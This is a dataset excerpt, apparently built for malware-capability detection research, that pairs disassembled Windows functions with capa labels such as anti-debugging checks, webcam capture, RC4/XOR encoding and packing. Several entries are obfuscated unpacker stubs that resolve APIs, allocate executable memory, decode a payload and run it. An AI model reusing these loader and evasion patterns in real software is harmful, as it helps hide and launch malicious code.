joyce8/EMBER2024-capa huggingface dataset:
Function at 0x463a10
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x463a43
push esi
call fcn.00471db0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x463a3c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x463ac9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x463ab2
mov eax, dword [esi + 8]
test eax, eax
je 0x463a67
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x463aae
cmp eax, 2
je 0x463ab2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x463a5a
cmp eax, 3
je 0x463a8d
cmp eax, 1
jne 0x463a5a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x463a5a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x463a5a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00463af0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x463ad8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00463af0
add esp, 4
pop esi
ret

Function at 0x464360
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x464381
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x464381
mov eax, dword [eax + 0x44]
test eax, eax
je 0x464381
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x47f0b0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x47f153
test eax, eax
jbe 0x47f153
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x47f153
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x47f0fe
xor esi, esi
jmp 0x47f104
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x47f12f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00480fd0
add esi, eax
push esi
mov ebx, esi
call fcn.00480fd0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x47f110
pop ebp
test edi, edi
pop edi
jne 0x47f153
test ebx, ebx
je 0x47f153
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004a08f0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x47f275
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x47f38d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x47f38d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004c4153
mov esi, eax
test esi, esi
je 0x47f38d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x47f38d
mov ecx, esi
call fcn.0047f200
cmp edi, eax
jge 0x47f38d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x47f313
mov dword [esp + 0x34], 1
jmp 0x47f36e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x47f38d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0047e800
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x484650
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4d13e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov eax, dword [esp + 0x40]
push ebx
push esi
lea ecx, [esp + 8]
push eax
push ecx
mov ecx, dword [esp + 0x4c]
call fcn.00484a50
mov esi, eax
lea edx, [esp + 0x48]
xor ebx, ebx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x4c], 0x5792e4
call fcn.004a2138
mov ecx, dword [0x519ef4]
mov al, byte [esi]
push ecx
push ebx
push esi
lea ecx, [esp + 0x30]
mov byte [esp + 0x48], 1
mov byte [esp + 0x30], al
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.00481da0
mov esi, 0x519f4c
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0xc]
mov byte [esp + 0x3c], 3
cmp eax, ebx
je 0x4846f7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4846ee
cmp al, 0xff
je 0x4846ee
dec al
mov byte [ecx], al
jmp 0x4846f7
push ecx
call fcn.004c2493
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call fcn.004be8d0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], 0xffffffff
cmp eax, ebx
mov dword [esp + 0x18], esi
je 0x48473d
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x484734
cmp al, 0xff
je 0x484734
dec al
mov byte [ecx], al
jmp 0x48473d
push ecx
call fcn.004c2493
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.004a21bf
mov ecx, dword [esp + 0x34]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x48b1f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5793f8]
xor edx, edx
cmp eax, edx
jne 0x48b216
xor eax, eax
mov byte [eax + 0x5792f8], al
inc eax
cmp eax, 0x100
jl 0x48b1fe
mov dword [0x5793f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5792f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x48b2a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48b27a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x48b248
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x48b320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x48b373
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x48b35a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x491d00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d16ae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00492620
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x51a17c
call fcn.004c246a
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x491d93
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004c246a
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x491d8c
push 0
mov ecx, eax
call fcn.00488e40
mov dword [esi + 0xc], eax
jmp 0x491d95
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x491d95
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4b8ee0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4d2650
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004ade75
mov eax, dword [0x51d890]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004adda7
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004b9a00
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x4b8f87
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4b8f7e
cmp al, 0xff
je 0x4b8f7e
dec al
mov byte [ecx], al
jmp 0x4b8f87
push ecx
call fcn.004c2493
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4b8fb8
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4b8faf
cmp al, 0xff
je 0x4b8faf
dec al
mov byte [ecx], al
jmp 0x4b8fb8
push ecx
call fcn.004c2493
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4c4af7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c4b2f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c2b84
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c2b5c
jmp 0x4c4b3b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c61e9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c622b
call fcn.004cbce9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c622b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c6222
xor eax, eax
jmp 0x4c6233
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c6239
pop edi
pop esi
pop ebx
ret 4

Function at 0x4cc219
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4cc247
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4cc265
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004cc17f
jmp 0x4cc265
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4cc265
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004cc17f
test edi, edi
mov eax, edi
jne 0x4cc24f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x8af713e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3471026d
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10012bf8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10012c07
pop dword [ebp - 0x30]
mov eax, 0x10012c07
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x282991b2
sub dword [ebp - 0x40], 0xd9d74c67
mov dword [ebp - 0x3c], 0xa076fc40
sub dword [ebp - 0x3c], 0x6e43affb
mov dword [ebp - 0x38], 0xcd4c6d4c
add dword [ebp - 0x38], 0x7effd6e2
mov dword [ebp - 0x34], 0xaea430bc
sub dword [ebp - 0x34], 0xaea430bc
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x46c6c7c1
sub dword [ebp - 0x40], 0xd2545e6b
mov dword [ebp - 0x3c], 0x18ac8477
sub dword [ebp - 0x3c], 0xd7402302
mov dword [ebp - 0x38], 0x578fa4c1
add dword [ebp - 0x38], 0xbdfc7ab
mov dword [ebp - 0x34], 0x9e15221f
sub dword [ebp - 0x34], 0x9e15221f
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x91d92aae
add eax, 0x7e28d552
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3e4b6
push 0
call eax
mov ecx, 0x4df1
mov edx, eax
mov ebx, 0x2bf250f7
add ebx, 0xe4106b09
add ebx, dword [ebp - 0x30]
mov edi, 0x6545bb7a
add edi, 0xc3d2ef01
xor dword [ebp - 0x1c], 0xc3d585ca
mov esi, dword [ebx]
sub esi, edi
mov dword [ebp - 0x20], 0xabcf02f4
mov dword [edx], esi
mov dword [ebp - 0x24], 0x81a9ce48
add edx, 4
add ebx, 4
loop 0x10012d19
add eax, 0x12a97
xor ebx, ebx
add ebx, eax
add eax, 0x4edfca8f
sub eax, 0x4edfca8a
mov ecx, 0xe106c1ad
add ecx, 0x2ef93e53
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10004e8f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10004e9e
pop dword [ebp - 0x10]
mov eax, 0xd4d42c1c
sub eax, 0xc4d3dd7e
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xfdfd470
sub dword [ebp - 0x20], 0xc18d8f25
mov dword [ebp - 0x1c], 0xc75db5af
sub dword [ebp - 0x1c], 0x952a696a
mov dword [ebp - 0x18], 0x5912c623
add dword [ebp - 0x18], 0xf3397e0b
mov dword [ebp - 0x14], 0x2fbab42d
add dword [ebp - 0x14], 0xd0454bd3
lea eax, [ebp - 0x20]
push eax
mov eax, 0xff6c5021
add eax, 0x1093c04f
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4534f226
sub dword [ebp - 0x20], 0xd0c288d0
mov dword [ebp - 0x1c], 0xfb65c17b
add dword [ebp - 0x1c], 0x46069ffa
mov dword [ebp - 0x18], 0x8e66e77d
add dword [ebp - 0x18], 0xd50884ef
mov dword [ebp - 0x14], 0x33239c05
add dword [ebp - 0x14], 0xccdc63fb
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xdf618ad5
add eax, 0x309e8593
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x341c4
push 0
call eax
mov ecx, 0x39d1
xor edi, edi
add edi, eax
mov esi, 0x971062df
add esi, 0x78f0a521
add esi, dword [ebp - 0x10]
mov ebx, 0xe14a0d88
add dword [ebp - 0xc], ebx
mov edx, dword [esi]
xor dword [ebp - 8], 0x67ae2ad5
sub edx, ebx
sub dword [ebp - 8], edi
mov dword [edi], edx
add edi, 0x48ef5666
sub edi, 0x48ef5662
add esi, 0x59fe06af
add esi, 0xa601f955
loop 0x10004fb6
add eax, 0xda17
xor ebx, ebx
add ebx, eax
add eax, 0x2539bdae
sub eax, 0x2539bda9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80a004]
jne 0x40100a
repz ret
jmp fcn.004015c0

Function at 0x4051ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x80a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403c81
and dword [ebp - 0x14], 0
cmp dword [0x80cd68], 0
mov dword [ebp - 0x18], eax
jne 0x40525e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405306
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405306
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x80cd68], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x80cd6c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x80cd70], eax
call edi
push eax
call esi
mov dword [0x80cd78], eax
test eax, eax
je 0x40525e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x80cd74], eax
mov eax, dword [0x80cd74]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4052b7
cmp dword [0x80cd78], ecx
je 0x4052b7
push eax
call esi
push dword [0x80cd78]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4052b7
test ebx, ebx
je 0x4052b7
call edi
test eax, eax
je 0x4052ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4052ae
test byte [ebp - 8], 1
jne 0x4052b7
or dword [ebp + 0x10], 0x200000
jmp 0x4052ea
mov eax, dword [0x80cd6c]
cmp eax, dword [ebp - 0x18]
je 0x4052ea
push eax
call esi
test eax, eax
je 0x4052ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4052ea
mov eax, dword [0x80cd70]
cmp eax, dword [ebp - 0x18]
je 0x4052ea
push eax
call esi
test eax, eax
je 0x4052ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x80cd68]
call esi
test eax, eax
je 0x405306
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405308
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x806140
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x80a004]
xor eax, esp
mov dword [esp + 0x804], eax
mov eax, dword [0x80d2a4]
imul eax, eax, 0x343fd
cmp dword [0xbfbf8c], 0x139e
mov dword [0x80d2a4], eax
jne 0x80618f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [esp]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x80d2a4]
add eax, 0x269ec3
push esi
mov dword [0x80d2a4], eax
movzx esi, word [0x80d2a6]
and esi, 0x7fff
cmp dword [0xbfbf8c], 0x8e7
jne 0x8061c4
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x808
ret

Function at 0x806210
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x806224
call fcn.00806140
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x806217
pop esi
cmp ebx, 0x2d
jne 0x80623e
mov dword [0xbfbf98], 0xa62e7790
mov dword [0xbfbf9c], 0xffffffff
ret

Function at 0x806240
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x80a004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x80b1f0]
push ebx
mov ebx, dword [0xbfbf8c]
push edi
mov edi, dword [0xbfb930]
call fcn.008061e0
cmp dword [0xbfbf8c], 0x2f
jne 0x8062a5
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00806210
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x806600
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00409b30
mov eax, dword [0x80a004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x806629
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe0392
jge 0x8066d1
cmp dword [0xbfbf8c], 0xa5f
jne 0x806675
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x818]
push edx
push str.kilibugerenegupezocezicuberusog
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp dword [ebp - 4], 0x845653
jne 0x80669a
mov eax, dword [0x80c010]
mov dword [0xbfbf8c], eax
mov ecx, dword [0xbfbf8c]
add ecx, 0xa231
mov dword [0xbfbf8c], ecx
cmp dword [0xbfbf8c], 0x141
jne 0x8066cc
push str.renej_luwoyisawopab_dadabayegutenecisufoba_wozonotuwugewiropoxu_vogiwipeladoxakanahotucucuwi
lea edx, [ebp - 0x1018]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x80d2a8], 0xec58acac
mov dword [0x80d2ac], 0xffffffff
jmp 0x806620
call fcn.008062c0
jmp dword [0xbfb930]
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x41cee3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x41cef2
pop dword [ebp - 0x20]
mov eax, 0x41cef2
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x8672473d
add dword [ebp - 0x30], 0xc7dffe0e
mov dword [ebp - 0x2c], 0x7a907ce3
sub dword [ebp - 0x2c], 0x485d309e
mov dword [ebp - 0x28], 0xbe9fd3e9
sub dword [ebp - 0x28], 0x72538fbb
mov dword [ebp - 0x24], 0xf6a72dc5
sub dword [ebp - 0x24], 0xf6a72dc5
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x4639f30f
sub dword [ebp - 0x30], 0xd1c789b9
mov dword [ebp - 0x2c], 0x5c01329c
add dword [ebp - 0x2c], 0xe56b2ed9
mov dword [ebp - 0x28], 0xcb63afdb
sub dword [ebp - 0x28], 0x67f4436f
mov dword [ebp - 0x24], 0x933601a4
add dword [ebp - 0x24], 0x6cc9fe5c
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x9b6ef1fb
sub eax, 0x9b2ee07f
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3cff4
push 0
call eax
mov ecx, 0x1fa48d0e
add ecx, 0xe05bbac6
xor edx, edx
add edx, eax
mov ebx, 0x7c4bf92b
add ebx, 0x83f652d5
add ebx, dword [ebp - 0x20]
mov esi, 0xe3a9d939
add esi, 0x98d1fb16
xor dword [ebp - 0x18], 0xef9caf5c
mov edi, dword [ebx]
add dword [ebp - 0x14], ecx
xor edi, esi
sub dword [ebp - 0x18], edi
mov dword [edx], edi
xor dword [ebp - 4], 0xb1513e9c
add edx, 0xcc3bd708
add edx, 0x33c428fc
add ebx, 0x1f23099d
sub ebx, 0x1f230999
loop 0x41d00c
add eax, 0x11223
xor ebx, ebx
add ebx, eax
add eax, 0x9aedec3d
add eax, 0x651213c8
mov ecx, 0xa1416921
add ecx, 0x5efe96df
add ecx, dword [ebp - 0x20]
call ebx
leave
ret